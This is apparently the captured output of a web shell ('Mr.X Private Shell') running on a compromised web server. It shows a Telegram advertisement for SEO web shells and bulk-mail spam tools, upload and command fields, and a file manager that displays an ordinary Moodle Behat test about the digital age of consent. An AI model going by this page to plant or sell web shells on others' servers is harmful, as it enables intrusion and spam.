__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @verify_age_location
Feature: Test validation of 'Age of digital consent' setting.
  In order to set the 'Age of digital consent' setting
  As an admin
  I need to provide valid data and valid format

  Background:
    Given I log in as "admin"
    And I navigate to "Users > Privacy and policies > Privacy settings" in site administration

  Scenario: Admin provides valid value for 'Age of digital consent'.
    Given I set the field "s__agedigitalconsentmap" to multiline:
    """
    *, 16
    AT, 14
    BE, 14
    """
    When I press "Save changes"
    Then I should see "Changes saved"
    And I should not see "Some settings were not changed due to an error."
    And I should not see "The digital age of consent is not valid:"

  Scenario: Admin provides invalid format for 'Age of digital consent'.
    # Try to set a value with missing space separator
    Given I set the field "s__agedigitalconsentmap" to multiline:
    """
    *16
    AT, 14
    BE, 14
    """
    When I press "Save changes"
    Then I should not see "Changes saved"
    And I should see "Some settings were not changed due to an error."
    And I should see "The digital age of consent is not valid: \"*16\" has more or less than one comma separator."
    # Try to set a value with missing default age of consent
    When I set the field "s__agedigitalconsentmap" to multiline:
    """
    AT, 14
    BE, 14
    """
    And I press "Save changes"
    Then I should not see "Changes saved"
    And I should see "Some settings were not changed due to an error."
    And I should see "The digital age of consent is not valid: Default (*) value is missing."

  Scenario: Admin provides invalid age of consent or country for 'Age of digital consent'.
    # Try to set a value containing invalid age of consent
    Given I set the field "s__agedigitalconsentmap" to multiline:
    """
    *, 16
    AT, age
    BE, 14
    """
    When I press "Save changes"
    Then I should not see "Changes saved"
    And I should see "Some settings were not changed due to an error."
    And I should see "The digital age of consent is not valid: \"age\" is not a valid value for age."
    # Try to set a value containing invalid country
    When I set the field "s__agedigitalconsentmap" to multiline:
    """
    *, 16
    COUNTRY, 14
    BE, 14
    """
    And I press "Save changes"
    Then I should not see "Changes saved"
    And I should see "Some settings were not changed due to an error."
    And I should see "The digital age of consent is not valid: \"COUNTRY\" is not a valid value for country."

Filemanager

Name Type Size Permission Actions
behat_auth.php File 2.5 KB 0777
displayloginfailures.feature File 2.91 KB 0777
login.feature File 3.13 KB 0777
login.php File 2.97 KB 0777
loginform.feature File 4.66 KB 0777
logout.php File 1.33 KB 0777
rememberusername.feature File 2.31 KB 0777
validateagedigitalconsentmap.feature File 2.52 KB 0777
verifyageofconsent.feature File 2 KB 0777
Filemanager